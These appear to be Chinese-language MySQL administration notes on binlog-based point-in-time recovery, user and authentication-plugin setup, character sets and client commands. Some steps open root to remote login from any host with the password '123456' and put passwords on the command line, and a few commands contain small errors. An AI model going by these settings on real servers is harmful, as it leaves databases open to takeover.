该参数使mysqlbinlog仅从本地二进制日志中输出指定的db_name被use命令选作默认数据库时产生的日志事件。行为类似于mysqld的--binlog-do-db命令。若该参数指定了多次那么只有最后一次指定的内容有效。参数具体的影响依赖于二进制日志格式,只有在使用行模式的日志格式时该参数才能保证一致性。基于语句或混合模式的二进制日志格式中因为可能存在跨库的更新导致--database参数表现不同的行为,从而不能保证数据一致性。 mysqlbinlog VMS00781-bin.000001 -d testDB | mysql -uusername -p --force-read,-f 使用该参数后mysqlbinlog工具在读取到不能识别的日志事件时会打印出warning,忽略事件并继续执行,没有此参数的情况下mysqlbinlog会停止。 mysqlbinlog VMS00781-bin.000001 -d testDB -f | mysql -uusername -p --no-defaults 阻止mysqlbinlog工具从任何配置文件读取参数,.mylogin.cnf除外(以便于安全的保存密码) mysqlbinlog VMS00781-bin.000001 -d testDB -f --no-defaults| mysql -uusername -p --start-datetime=datetime --stop-datetime=datetime 上边一组参数用于指定恢复开始时间点和结束时间点,可以一起或单独给出,也可与--start-position,--stop-position混用 mysqlbinlog VMS00781-bin.000001 -d testDB -f --no-defaults --start-datetime=datetime --stop-position=NNNNNN | mysql -uusername -p --start-position=N,-j N --stop-position=N 上边一组参数用于指定恢复开始位置和结束位置,可以一起或单独给出也可与--start-datetime,--stop-datetime混用 mysqlbinlog VMS00781-bin.000001 -d testDB -f --no-defaults --start-position=NNNNNN --stop-datetime=datetime | mysql -uusername -p 需要还原的二进制日志文件通常不止一个,那么要是有多个二进制日志文件需要还原呢,该注意些什么? 首先,可以选择上述直接重定向到mysql客户端的方法或先导入到.sql文件然后执行.sql文件的方式逐个应用二进制日志文件。但是这里存在一个隐患,及,如果二进制日志中记录有使用临时表的情况,那么当上一个日志应用完,在新连接中应用下一个二进制日志时临时表就会丢失,引起错误。所以,安全的方式是多个二进制文件同时执行。 如: mysqlbinlog VMS00781-bin.000001 VMS00781-bin.000002 VMS00781-bin.000003 --start-position=NNNNNN --stop-datetime=datetime | mysql -uusername -p 或mysqlbinlog VMS00781-bin.00000[1-3] --start-position=NNNNNN --stop-datetime=datetime | mysql -uusername -p 当多个二进制日志文件同时执行时,--start-position和--stop-position分别只应用于第一个列出的二进制日志文件和最后一个列出的二进制日志文件 当然也可以先将多个二进制日志文件的输出导到同一个.sql文件最后在执行该.sql文件(适用于日志量不多的情况) 【 mysql数据恢复 】 delete误删数据恢复 首先查看一下mysql自带的bin日志 登陆mysql执行下面这个命令 show master status; 看最新的日志文件名字 show variables like 'log_bin_basename%'; 看日志位置 mysqlbinlog命令的参数说明 -base64-output=decode-rows //数据转换正常的字符,如果不设置这个参数将显示base64的数据 -database=DBName //数据库名(一个mysql数据库比较多,指定方便恢复) -start-datetime="2019-11-26 18:00:00" //恢复起始时间 -stop-datetime="2019-11-26 18:10:00" //恢复结束时间 cd /var/lib/mysql/ mysqlbinlog -d=要恢复的数据库名字 --no-defaults --start-datetime='2020-03-16 12:56:00' --stop-datetime='2020-03-16 14:57:00' -vv mysql-bin.000001 > result.txt 打开这个result.txt应该可以看到删除的记录 现在使用sed过滤一下目标库表 cat result.txt | sed -n '/### DELETE FROM `数据库`.`表名`/,/COMMIT/p' > delete.txt 将delete.txt替换成insert语句即可 cat delete.txt | sed -n '/###/p' | sed 's/### //g;s/\/\*.*/,/g;s/DELETE FROM/INSERT INTO/g;s/WHERE/SELECT/g;' |sed -r 's/(@6.*),/\1;/g' | sed 's/@[1-9]=//g' | sed 's/@[1-9][0-9]=//g' | sed '0~5s/,/;/' > insert.sql 到这里基本结束了,登陆mysql导入这个脚本,数据又都回来了 \. insert.sql 【 2、mysql> show binlog events [IN 'log_name'] [FROM pos] [LIMIT [offset,] row_count]; 】 参数解释: IN 'log_name' : 指定要查询的binlog文件名(不指定就是第一个binlog文件) FROM pos : 指定从哪个pos起始点开始查起(不指定就是从整个文件首个pos点开始算) LIMIT [offset,] : 偏移量(不指定就是0) row_count : 查询总条数(不指定就是所有行) mysql> show binlog events; // 查看二进制日志中的事件 +---------------------+-----+-------------+-----------+-------------+---------------------------------------+ | Log_name | Pos | Event_type | Server_id | End_log_pos | Info | +---------------------+-----+-------------+-----------+-------------+---------------------------------------+ | VMS00781-bin.000001 | 4 | Format_desc | 36 | 120 | Server ver: 5.6.12-log,Binlog ver: 4 | | VMS00781-bin.000001 | 120 | Query | 36 | 192 | BEGIN | | VMS00781-bin.000001 | 192 | Table_map | 36 | 238 | table_id: 204 (test.ab) | | VMS00781-bin.000001 | 238 | Delete_rows | 36 | 291 | table_id: 204 flags: STMT_END_F | | VMS00781-bin.000001 | 291 | Xid | 36 | 322 | COMMIT /* xid=289981 */ | | VMS00781-bin.000001 | 322 | Rotate | 36 | 372 | VMS00781-bin.000002;pos=4 | +---------------------+-----+-------------+-----------+-------------+---------------------------------------+ 默认显示可找到的第一个二进制日志文件中的事件,包含了事件的开始位置、结束位置、事件类型、信息等内容。 第一个事件为格式描述事件; 第二个为查询事件,事务开始; 第三个为表映射事件, 第四个为执行的删除操作, 第五个为Xid时间是自动提交事务的动作, 第六个为日志轮换事件,是执行flush logs开启新日志文件引起的。 mysql> show binlog events in 'mysql-bin.000001'; // 查看指定的二进制日志中的事件 mysql> show binlog events in 'mysql-bin.000002'\G; 将指定的binlog日志文件,分成有效事件行的方式返回,并可使用limit指定pos点的起始偏移,查询条数! 如下操作示例: a)查询第一个(最早)的binlog日志: mysql> show binlog events\G; b)指定查询 mysql-bin.000002这个文件: mysql> show binlog events in 'mysql-bin.000002'\G; c)指定查询 mysql-bin.000002这个文件,从pos点:624开始查起: mysql> show binlog events in 'mysql-bin.000002' from 624\G; d)指定查询 mysql-bin.000002这个文件,从pos点:624开始查起,查询10条(即10条语句) mysql> show binlog events in 'mysql-bin.000002' from 624 limit 10\G; e)指定查询 mysql-bin.000002这个文件,从pos点:624开始查起,偏移2行(即中间跳过2个),查询10条 mysql> show binlog events in 'mysql-bin.000002' from 624 limit 2,10\G;
场景模拟
ops库会在每天凌晨4点进行一次完全备份的定时计划任务,如下:
[root@vm-002 ~]# crontab -l
0 4 * * * /usr/bin/mysqldump -uroot -p -B -F -R -x --master-data=2 ops|gzip >/opt/backup/ops_$(date +%F).sql.gz
参数说明:
-B: 指定数据库
-F: 刷新日志
-R: 备份存储过程等
-x: 锁表
--master-data: 在备份语句里添加CHANGE MASTER语句以及binlog文件及位置点信息
-F选项,当数据备份操作刚开始的时候系统就会自动刷新log,这样就会自动产生一个新的binlog日志,这个新的binlog日志就会用来记录备份之后的数据库"增删改"操作
出现误操作之后
先仔细查看最后一个binlog日志,并记录下关键的pos点,到底是哪个pos点的操作导致了数据库的破坏(通常在最后几步);
先备份一下最后一个binlog日志文件:
cp -v mysql-bin.000003 /opt/backup/
接着执行一次刷新日志索引操作,重新开始新的binlog日志记录文件。按理说mysql-bin.000003
这个文件不会再有后续写入了,因为便于我们分析原因及查找ops节点,以后所有数据库操作都会写入到下一个日志文件。
mysql> flush logs;
读取binlog日志,分析问题
[root@vm-002 mysql]# mysqlbinlog mysql-bin.000003
mysql> show binlog events in 'mysql-bin.000003';
mysql> show binlog events in 'mysql-bin.000003'\G;
通过分析,造成数据库破坏的pos点区间是介于 875--954 之间(这是按照日志区间的pos节点算的),只要恢复到875前就可
先把凌晨4点全备份的数据恢复:
[root@vm-002 backup]# gzip -d ops_2016-09-25.sql.gz
[root@vm-002 backup]# mysql -uroot -p -v < ops_2016-09-25.sql
从binlog日志恢复4点之后的数据
恢复命令的语法格式:
mysqlbinlog mysql-bin.0000xx | mysql -u用户名 -p密码 数据库名
--------------------------------------------------------
常用参数选项解释:
--start-position=875 起始pos点
--stop-position=954 结束pos点
--start-datetime="2016-9-25 22:01:08" 起始时间点
--stop-datetime="2019-9-25 22:09:46" 结束时间点
--database=zyyshop 指定只恢复zyyshop数据库(一台主机上往往有多个数据库,只限本地log日志)
--------------------------------------------------------
不常用选项:
-u --user=name 连接到远程主机的用户名
-p --password[=name] 连接到远程主机的密码
-h --host=name 从远程主机上获取binlog日志
--read-from-remote-server 从某个MySQL服务器上读取binlog日志
--------------------------------------------------------
小结: 实际是将读出的binlog日志内容,通过管道符传递给mysql命令。这些命令、文件尽量写成绝对路径;
a)完全恢复(需要手动vim编辑mysql-bin.000003,将那条drop语句剔除掉)
[root@vm-002 backup]# /usr/bin/mysqlbinlog /var/lib/mysql/mysql-bin.000003 | /usr/bin/mysql -uroot -p123456 -v ops
b)指定pos结束点恢复(部分恢复):
--stop-position=471 pos结束节点(按照事务区间算,是471)
此pos结束节点介于"member表原始数据"与更新"name='李四'"之前的数据,这样就可以恢复到更改"name='李四'"之前的数据了。
[root@vm-002 ~]# /usr/bin/mysqlbinlog --stop-position=471 --database=ops /var/lib/mysql/mysql-bin.000003 | /usr/bin/mysql -uroot -p123456 -v ops
c)指定pso点区间恢复(部分恢复):
更新 name='李四' 这条数据,日志区间是Pos[538] --> End_log_pos[646],按事务区间是: Pos[471] --> End_log_pos[673]
更新 name='小二' 这条数据,日志区间是Pos[740] --> End_log_pos[848],按事务区间是: Pos[673] --> End_log_pos[875]
c1)
单独恢复 name='李四' 这步操作,可这样:
按照binlog日志区间单独恢复:
[root@vm-002 ~]# /usr/bin/mysqlbinlog --start-position=538 --stop-position=646 --database=ops /var/lib/mysql/mysql-bin.000003 | /usr/bin/mysql -uroot -p123456 -v ops
按照事务区间单独恢复
[root@vm-002 ~]# /usr/bin/mysqlbinlog --start-position=471 --stop-position=673 --database=ops /var/lib/mysql/mysql-bin.000003 | /usr/bin/mysql -uroot -p123456 -v ops
c2)
单独恢复 name='小二' 这步操作,可这样:
按照binlog日志区间单独恢复:
[root@vm-002 ~]# /usr/bin/mysqlbinlog --start-position=740 --stop-position=848 --database=ops /var/lib/mysql/mysql-bin.000003 | /usr/bin/mysql -uroot -p123456 -v ops
按照事务区间单独恢复
[root@vm-002 ~]# /usr/bin/mysqlbinlog --start-position=673 --stop-position=875 --database=ops /var/lib/mysql/mysql-bin.000003 | /usr/bin/mysql -uroot -p123456 -v ops
c3)
将 name='李四'、name='小二' 多步操作一起恢复,需要按事务区间,可这样:
[root@vm-002 ~]# /usr/bin/mysqlbinlog --start-position=471 --stop-position=875 --database=ops /var/lib/mysql/mysql-bin.000003 | /usr/bin/mysql -uroot -p123456 -v ops
除了用pos节点的办法进行恢复,也可以通过指定时间节点区间进行恢复,按时间恢复需要用mysqlbinlog命令读取binlog日志内容,找时间节点。
查看mysq-bin00003日志,找出时间节点
[root@vm-002 mysql]# mysqlbinlog mysql-bin.000003
BEGIN
/*!*/;
# at 173
#160925 21:57:19 server id 1 end_log_pos 201 Intvar
SET INSERT_ID=3/*!*/;
# at 201
#160925 21:57:19 server id 1 end_log_pos 444 Query thread_id=3 exec_time=0 error_code=0
use `ops`/*!*/;
SET TIMESTAMP=1474811839/*!*/;
insert into ops.member(`name`,`sex`,`age`,`classid`) values('yiyi','w',20,'cls1'),('xiaoer','m',22,'cls3'),('zhangsan','w',21,'cls5'),('lisi','m',20,'cls4'),('wangwu','w',26,'cls6') #执行的sql语句
/*!*/;
# at 444
#160925 21:57:19 server id 1 end_log_pos 471 Xid = 66 #开始执行的时间
COMMIT/*!*/;
# at 471
#160925 21:58:41 server id 1 end_log_pos 538 Query thread_id=3 exec_time=0 error_code=0 #结束时间
SET TIMESTAMP=1474811921/*!*/;
BEGIN
/*!*/;
# at 538
#160925 21:58:41 server id 1 end_log_pos 646 Query thread_id=3 exec_time=0 error_code=0
SET TIMESTAMP=1474811921/*!*/;
update ops.member set name='李四' where id=4 #执行的sql语句
/*!*/;
# at 646
#160925 21:58:41 server id 1 end_log_pos 673 Xid = 68 #开始执行的时间
COMMIT/*!*/;
# at 673
#160925 21:58:56 server id 1 end_log_pos 740 Query thread_id=3 exec_time=0 error_code=0 #结束时间
SET TIMESTAMP=1474811936/*!*/;
BEGIN
/*!*/;
# at 740
#160925 21:58:56 server id 1 end_log_pos 848 Query thread_id=3 exec_time=0 error_code=0
SET TIMESTAMP=1474811936/*!*/;
update ops.member set name='小二' where id=2 #执行的sql语句
/*!*/;
# at 848
#160925 21:58:56 server id 1 end_log_pos 875 Xid = 69 #开始执行的时间
COMMIT/*!*/;
# at 875
#160925 22:01:08 server id 1 end_log_pos 954 Query thread_id=3 exec_time=0 error_code=0 #结束时间
SET TIMESTAMP=1474812068/*!*/;
drop database ops
/*!*/;
# at 954
#160925 22:09:46 server id 1 end_log_pos 997 Rotate to mysql-bin.000004 pos: 4
DELIMITER ;
# End of log file
ROLLBACK /* added by mysqlbinlog */;
/*!50003 SET COMPLETION_TYPE=@OLD_COMPLETION_TYPE*/;
恢复到更改"name='李四'"之前的数据
[root@vm-002 ~]# /usr/bin/mysqlbinlog --start-datetime="2016-09-25 21:57:19" --stop-datetime="2016-09-25 21:58:41" --database=ops /var/lib/mysql/mysql-bin.000003 | /usr/bin/mysql -uroot -p123456 -v ops
[root@vm-002 ~]# /usr/bin/mysqlbinlog --start-datetime="2016-09-25 21:58:41" --stop-datetime="2016-09-25 21:58:56" --database=ops /var/lib/mysql/mysql-bin.000003 | /usr/bin/mysql -uroot -p123456 -v ops
[root@vm-002 ~]# /usr/bin/mysqlbinlog --start-datetime="2016-09-25 21:58:56" --stop-datetime="2016-09-25 22:01:08" --database=ops /var/lib/mysql/mysql-bin.000003 | /usr/bin/mysql -uroot -p123456 -v ops
MySQL中的实例、数据库关系
1、MySQL是单进程多线程,即MySQL实例在系统上表现就是一个服务进程,通过多种方法可以创建多实例,再安装一个端口号不同的mysql或通过workbench来新建一个端口号不同的服务器实例等 该架构类似于SQL Server和Windows版本的Oracle 2、MySQL实例是线程和内存组成,实例才是真正用于操作数据库文件的 MySQL数据库是由一系列物理文件组成,类似于frm、MYD、MYI、ibd结尾的文件 3、一般情况下一个实例操作一或多个数据库 集群情况下多个实例操作一个或多个数据库 在实例启动的时候MySQL会读取配置文件,MySQL如果找不到配置文件则会按照默认参数设置启动实例 【 mysql中database、instance、session 】 mysql中建立一个会话,不是和具体的数据库相连接,而是跟某个instance建立会话,每个会话可以使用不同的用户身份 而一个实例可以操作多个数据库,故一个会话(在操作系统概念里,会话即是线程)可以操作一个实例上的多个数据库。 简单描述如下: instance >> database 【 connection和session的定义和区别 】 1.连接(connection)是一个物理的概念,它指的是一个通过网络建立的客户端和专有服务器(Dedicated Server)或调度器(Shared Server)的一个网络连接。 2.会话(session)是一个逻辑的概念,它是存在于实例中。 创建一个连接(connection)实际上是在某个实例(instance,或说是进程)中创建一个或多个线程。 两者关系: 1、一个连接可以拥有多个会话也可以没有会话(实际上一条连接上的各个会话可以使用不同的用户身份),同一个连接上的不同会话之间不会相互影响。 2、 两个会话之间的影响,体现在锁和锁存,即对相同资源的操作(对象定义或数据块)或请求(CPU/内存),它们的处理一般是按队列来处理的,前面的没有处理 好,后面的就要等待。如果以打电话来比喻: connect就好比你接通对方,这时,connect就建立了,有没有通话,不管。双方进行通话,则 session建立了,如果换人,则新的session建立,原session结束,类似的,可以在同一个connect上进行多个会话。最后挂机,connect结束。 1、会话可以创建多个事务 比如: 使用客户端连接数据库,这样就可以执行很多个事务了 2、一个事务只能由一个会话产生 在数据库里的事务,如果在执行的SQL都是由会话发起的,哪怕是自动执行的JOB也是由系统会话发起的 3、一个事务可能会产生一个或多个线程 比如RMAN备份,是可以创建多个线程可加快备份速度 4、一个线程在同一时间内只能执行一个事务 而一个线程,在没结束当前事务是无法释放资源来执行第二个事务 【 事务、会话关系和区别 】 事务: 简单理解就是一个业务需求的最小处理单位。 如: 从A银行卡转账500元到B银行卡,事务就包括两部分,1、从A卡减掉500元 2、从B卡加上500元 这两个部分只要一个部分出错,就要整体"回滚",那这就是一个事务 会话: 可以包含N个事务 如: 登陆网银之后,可以重复转账步骤2次,第二次转账失败,并不影响你第一次转账成功。
mysql会话变量
MySQL变量一共分为两大类: 用户自定义变量和系统变量 用户自定义变量 局部变量 会话变量 系统变量 会话变量 全局变量 【 全局变量 】 全局变量影响服务器整体操作。当服务器启动时,它将所有全局变量初始化为默认值。这些默认值可以在选项文件中或在命令行中指定的选项进行更改。要想更改全局变量,必须具有SUPER权限。全局变量作用于server的整个生命周期,但是不能跨重启。即重启后所有设置的全局变量均失效。要想让全局变量重启后继续生效,需要更改相应的配置文件。 全局变量的设置: set global var_name = value; //注意: 此处的global不能省略。根据手册set命令设置变量时若不指定GLOBAL、SESSION或LOCAL,默认使用SESSION set @@global.var_name = value; //同上 全局变量的查询: select @@global.var_name; show global variables like "%var%"; 【 会话变量 】 会话变量即为服务器为每个客户端连接维护的变量。在客户端连接时,使用相应全局变量的当前值对客户端的回话变量进行初始化。设置会话变量不需要特殊权限,但客户端只能更改自己的会话变量。其作用域与生命周期均限于当前客户端连接。 可以先在用户变量中保存值然后在以后引用它;这样可以将值从一个语句传递到另一个语句。用户变量与连接有关。也就是说,一个客户端定义的变量不能被其它客户端看到或使用。当客户端退出时,该客户端连接的所有变量将自动释放。 会话变量的赋值: set session var_name = value; set @@session.var_name = value; set var_name = value; 会话变量的查询: select @@var_name; select @@session.var_name; show session variables like "%var%"; SET @num=1; #设置一个变量等于1 SELECT @num; #查询该变量 执行: SELECT @num; 还是返回上面的结果,因为这个变量已经存在当前会话中了(只要不结束当前会话就一直存在)。 如果在另外一个会话去查询,就不存在了。 因为这个特性,所以我们可以在每次执行之前初始化 SELECT查询的数据如何放到变量中?模拟一个用户登录的业务,用存储过过程,定义存储过程如下
mysql操作
每个连接都会在mysql服务端产生一个线程,内部通过线程池管理线程,比如一个select语句进入,mysql首先会在查询缓存中查找是否缓存了这个select的结果集,如果有则直接从缓存中获取结果集,否则继续执行 解析、优化、执行的过程 help;或\h命令显示帮助内容 上下方向键选择重复之前的命令 mysql F7 显示之前mysql执行的命令 命令的结束符: 用;或\G或\g结束 \c 取消全部命令 esc 取消单行命令 【 查找mysql的配置文件my.ini 】 mysql> select @@basedir; # 查看mysql的安装目录 mysql> select @@datadir; # 查看mysql的数据目录 E:\wnmp\mysql\bin>.\mysql.exe --help mysql --help | grep my.cnf # 适用于Unix系 开始 → 所有程序 → MySQL命令行客户端工具,右键选择该命令行工具查看"属性",在"目标"里面也可以看到MySQL使用的配置文件位置 Windows系统中mysql配置文件默认是安装目录下的my.ini文件或my-default.ini,部分配置需要在初始安装时配置,大部分也可以在安装完成后进行更改,极端情况下所有的都可以更改 解压后的根目录并没有my.ini文件,可以在安装根目录下自行创建添加my.ini写入基本配置
【 mysql安装 MySQL Community Server 8.0.11 】
MySQL8.0 For Windows zip包下载地址https://dev.mysql.com/downloads/mysql/,解压zip包到安装目录
为避免操作到已经设置环境变量的mysql实例,指定命令的路径再执行
初始化数据库
在MySQL安装目录的bin目录下执行命令mysqld --initialize --console,输出"A temporary password is generated for root@localhost: rI5rvf5x5G,E",其中"rI5rvf5x5G,E"就是root默认初始密码。在没有更改密码前需记住这个密码,后续登录需要用到,要是没记住则删掉初始化的datadir目录,再执行一遍初始化命令,又会重新生成,也可以使用安全工具,强制改密码
E:\wnmp\mysql\bin> .\mysqld.exe --initialize-insecure --user=mysql # 生成data目录,并建好默认数据库,登录的用户名为root,密码为空
E:\wnmp\mysql\bin> .\mysqld.exe --initialize --user=mysql --console # 初始化命令生成一个临时密码
E:\wnmp\mysql\bin> .\mysqld.exe --defaults-file=E:\wnmp\mysql\my.ini --initialize --console # 初始化时指定dedaults-file
安装服务
管理员身份打开cmd命令行,在MySQL安装目录的bin目录下执行命令
E:\wnmp\mysql\bin>.\mysqld.exe -install [服务名]
服务名可选,默认MySQL,如果本地需要安装多个MySQL服务就可以用不同的名字区分,比如mysql5和mysql8
安装完成之后就可以通过命令net start mysql启动MySQL的服务
E:\wnmp\mysql\bin> sc query state=all | findstr -RI ".*mysql.*"
E:\wnmp\mysql\bin> sc start mysql
卸载服务
net stop mysql
E:\wnmp\mysql\bin> mysqld remove
如果没安装系统服务,也可在命令行模式定位到mysql下的bin目录里输入:
mysqladmin shutdown
mysqladmin start
更改密码和密码认证插件
E:\wnmp\mysql\bin>.\mysql.exe -u root -p
在MySQL安装目录的bin目录下执行命令mysql -u root -p,这时会提示输入密码,填入root默认初始密码即可登录成功,进入MySQL命令模式。
ERROR 2059 (HY000): Authentication plugin 'caching_sha2_password' cannot be loaded: /usr/lib/mysql/plugin/caching_sha2_password.so: cannot open shared object file: No such file or directory
mysql8.0默认采用caching_sha2_password身份验证插件的认证方式,只能使用mysql8.0自带的mysql客户端和初始化密码登进
在MySQL8.04前执行SET PASSWORD=PASSWORD('[新密码]');但MySQL8.0.4+这样默认不行,因为之前MySQL的密码认证插件是"mysql_native_password",而现在使用"caching_sha2_password",因为当前有很多数据库工具和链接包都不支持"caching_sha2_password",为了方便暂时还是改回了"mysql_native_password"认证插件,所以这里需要再次修改root密码并刷新权限
在mysql5.7.9以后废弃了password字段和password()函数,authentication_string字段表示用户密码
如果当前root用户authentication_string字段下有内容,先将其设置为空
mysql> update mysql.user set authentication_string='' where user='root'
mysql> alter user 'root'@'localhost' identified with mysql_native_password by '123456';
mysql> flush privileges;
允许root远程登陆
mysql> use mysql;
mysql> update user set host='%' where user='root';
mysql> flush privileges;
一定不要采取如下形式改密码:
update mysql.user set authentication_string="newpassword" where user="root";
这样会给user表中root用户的authentication_string字段下设置了newpassword值
当再使用alter user 'root'@'localhost' identifited by 'newpassword'时会报错
因为authentication_string字段下只能是mysql加密后的41位字符串密码如*THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE,否则报格式错误
如果想默认使用mysql_native_password插件认证,可在配置文件中配置default_authentication_plugin,然后service mysqld restart重启服务,然后新建的用户可以在cmd中登录
[mysqld]
# The default authentication plugin to be used when connecting to the server
# default_authentication_plugin=caching_sha2_password
default_authentication_plugin=mysql_native_password
检查mysql默认用户
mysql> select user,host,plugin,authentication_string from mysql.user;
+------------------+-----------+-----------------------+-------------------------------------------+
| user | host | plugin | authentication_string |
+------------------+-----------+-----------------------+-------------------------------------------+
| mysql.infoschema | localhost | mysql_native_password | *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE |
| mysql.session | localhost | mysql_native_password | *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE |
| mysql.sys | localhost | mysql_native_password | *THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE |
| root | localhost | caching_sha2_password | |
+------------------+-----------+-----------------------+-------------------------------------------+
管理员root的host是localhost,代表仅限localhost登录访问。如果要允许开放其他ip登录远程访问,则需要添加新的host。如果要允许所有ip访问,可以直接修改成"%"
create user 'root'@'%' identified by '123456';
grant all on *.* to 'root'@'%';
alter user 'root'@'%' identified with mysql_native_password by '123456';
flush privileges;
创建用户:
create user 'xxh'@'%' identified with mysql_native_password by 'xxh123!@#';
检查用户
select user, host, plugin, authentication_string from mysql.user\g
授权远程数据库
grant all privileges on *.* to 'xxh'@'%'; # 授权所有权限
grant select,insert,update,delete,create,drop,alter on *.* to 'xxh'@'%'; #授权基本的查询修改权限,按需求设置
查看用户权限
show grants for 'xxh'@'%';
【 安装mysql管理工具phpMyAdmin 】
下载解压到/phpmyadmin,localhost:8000/setup设置服务器,将设置的配置config.inc.php拷贝或下载到phpmyadmin目录即可
【 mysql字符集和数据库编码 】
mysql提示语言的选择问题,wamp默认法语,把my.ini文件中lc-messages=fr_FR改成lc-messages=en_US后重启服务
mysql> SHOW VARIABLES WHERE Variable_name LIKE 'character_set_%' OR Variable_name LIKE 'collation%';
mysql> show character set; //显示mysql的字符集编码
mysql> select length(username) from user; //查看username所占空间,utf8编码中文占3字节,英文1字节
mysql> select char_length(username) from user; //查看username是几个字符
mysql> show variables like "%character%"; //查看客户端,连接,数据库,系统,服务器字符集编码
系统变量设置
client/connect/result相同则不会显示乱码 adds|ashes
mysql> set character_set_client=utf8 # 客户端来源数据使用的字符集
mysql> set character_set_connection=utf8 # 连接层字符集
mysql> set character_set_database=utf8 # 当前选中数据库的默认字符集
mysql> set character_set_results=utf8 # 查询结果字符集
mysql> set character_set_server=utf8 # 默认的内部操作字符集
mysql> set character_set_system=utf8
MySQL数据库编码、html页面编码、PHP或html文件本身编码要全部一致
1.建立数据库时指定编码,建数据表、字段、插入数据会自动继承
$sql="CREATE DATABASE my_db01 CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci";
2.数据库服务器连接设置
mysqli_set_charset($con,'utf8');
Js或Flash中传递数据使utf-8编码,如数据库和页面编码是该板块只要转码,然后写入数据库
iconv('utf-8','gbk',$content);
meta是属于html信息的,仅仅是一个声明,它起作用表明服务器已经把HTML信息传到了浏览器
meta charset="utf-8"
utf8_unicode_ci和utf8_general_ci对中、英文来说没有实质的差别。
utf8_general_ci 校对速度快,但准确度稍差。
utf8_unicode_ci 准确度高,但校对速度稍慢。
如果应用有德语、法语或俄语,请一定使用utf8_unicode_ci。一般用utf8_general_ci就够了。
ci是case insensitive即大小写不敏感,a和A会在字符判断中会被当做一样的;
bin是二进制,a和A会别区别对待。
例如运行:
SELECT * FROM table WHERE txt = 'a'
那么在utf8_bin中就找不到 txt = 'A' 的那一行,而 utf8_general_ci 则可以。
utf8_general_ci 不区分大小写,这个你在注册用户名和邮箱的时候就要使用。
utf8_general_cs 区分大小写,如果用户名和邮箱用这个 就会照成不良后果
utf8_bin:字符串每个字符串用二进制数据编译存储。 区分大小写,而且可以存二进制的内容
【 mysqld.exe 】
mysql\bin> .\mysqld.exe --help
mysqladmin variables // To see what values a running MySQL server is using
mysqld.exe --init-file=file_name
mysqld install MySQL57 --defaults-file="D:/ProgramData/MySQL/MySQL Server 5.7/my.ini"
Usage: mysqld [OPTIONS]
NT and Win32 specific options:
--install Install the default service (NT).
--install-manual Install the default service started manually (NT).
--install service_name Install an optional service (NT).
--install-manual service_name Install an optional service started manually (NT).
--remove Remove the default service from the service list (NT).
--remove service_name Remove the service_name from the service list (NT).
--enable-named-pipe Only to be used for the default server (NT).
--standalone Dummy option to start as a standalone server (NT).
-v, --verbose Used with --help option for detailed help.
-V, --version Output version information and exit.
-P, --port=# Port number to use for connection or 0 to default to,my.cnf, $MYSQL_TCP_PORT, /etc/services, built-in default (3306), whatever comes first
mysqld --console 启动失败时查看ERROR日志
查看mysql服务器ip
select SUBSTRING_INDEX(host,':',1) as ip , count(*) from information_schema.processlist group by ip;
查看数据库端口:
show variables like 'port';
以安全模式启动MySQL
~$ sudo mysqld_safe --skip-grant-tables &
【 mysql 两种连接方式: socket和TCP/IP 】
unix系统上,mysql的登陆方式有两种,分别是socket和tcp/ip方式登陆。
当server和client在同一台服务器上的时候,可以直接用mysql命令登陆。
[root@mysql ~]# mysql
当什么参数都没有指定的时候,mysql默认使用socket方式登陆,如果my.cnf的[client]没有指定socket文件路径时,mysql默认会去寻找/tmp/mysql.sock,所以如果mysql服务启动的时候,生成的socket文件不是默认路径的话,登陆会报错。
[root@mysql ~]# mysql
ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/tmp/mysql.sock' (2)
mysql服务启动的时候,socket文件的生成目录可以在[mysqld]上指定,如果没有指定,默认是/tmp/mysql.sock;
mysql登陆的时候,指定参数-h,会使用tcp/ip的方式连接,如果没有指定端口的话,默认是使用3306端口
[root@mysql ~]# mysql -h192.1.1.20
ERROR 2003 (HY000): Can't connect to MySQL server on '192.1.1.20' (111)
[root@mysql ~]# mysql -h192.1.1.20 -P3307
当mysql登陆时,同时指定-h和-S,mysql会默认使用tcp/ip的方式连接。
[root@mysql ~]# mysql -h192.1.1.20 -P3307 -S /ddd/sdfs.scok
随便指定一个socket文件都可以登陆。
【 mysql登录登出 】
cmd > mysql -u root -p // 密码不要在这里输入,会被记录,不要分号,直接enter之后再输密码
cmd > mysql -h 主机名或IP地址 -u root -p 123;
cmd > mysql -h 主机名或IP地址 -P 3306 -u root -p 123;
cmd > mysql restart // 重启mysql
mysql> quit/exit // 退出mysql
修改MySQL管理员的口令:
cmd> mysqldmin –u root password 密码字符串
如已有密码需修改root密码:
cmd> mysqladmin –u root –p password 新密码字符串
【 mysq -e参数使用 】
可以用shell脚本操作mysql数据库,使用mysql的-e参数可以执行各种sql的(创建,删除,增,删,改、查)等各种操作
mysql -h hostname -P port -uusername -ppassword -e 相关mysql的sql语句,不用在mysql的提示符下运行mysql,即可以在shell中操作mysql的方法。
> mysql -hlocalhost -P8080 -uroot -p123456 -e'set names utf8;use report;select * from table;';
【 mysql操作 】
mysql> select now();
mysql> select "welecome to my blog!";
mysql> select ((4 * 4) / 10 ) + 25;
mysql> show variables; // 查看MySQL服务器配置信息
mysql> show variables like '%datadir%';
mysql> show grants for root@'localhost'; // 查看用户权限
mysql> select * from mysql.user where user='root'\G
mysql> select * from mysql.db where user='root'\G
mysql> select Host,User,plugin,authentication_string from mysql.user;
mysql> select distinct concat('User: ''',user,'''@''',host,''';') as query from mysql.user; //查看所有用户
mysql> show privileges; // 显示服务器所支持的不同权限
mysql> select version(); // 显示服务器版本
mysql> status; // 显示mysql版本、当前用户、字符集、端口号等简要信息
mysql> show status; // 显示一些系统特定资源的信息
mysql> show global status; // 查看MySQL服务器运行的各种状态值,同show status
mysql> show databases; // 显示当前服务器中的所有数据库
mysql> use 数据库名; // 连接数据库
mysql> select database(); // 显示当前连接的数据库
mysql> select user(); // 显示当前登录的用户
mysql> select current_user(); // 显示当前登录的用户
mysql> show tables; // 显示当前数据库中的所有表名
mysql> select COLUMN_NAME,column_comment from INFORMATION_SCHEMA.Columns where table_name='表名' and table_schema='数据库名' // 查询表中所有字段的名字
mysql> describe tablename; // 显示表结构
mysql> desc tablename; // 显示表结构
mysql> show create table user \g // 查看创建表的SQL语句
mysql> show index from table_name; // 显示表的所有索引
mysql> show engines; // 查看数据库支持的引擎
mysql> show variables like '%storage_engine%'; // 查看当前存储引擎
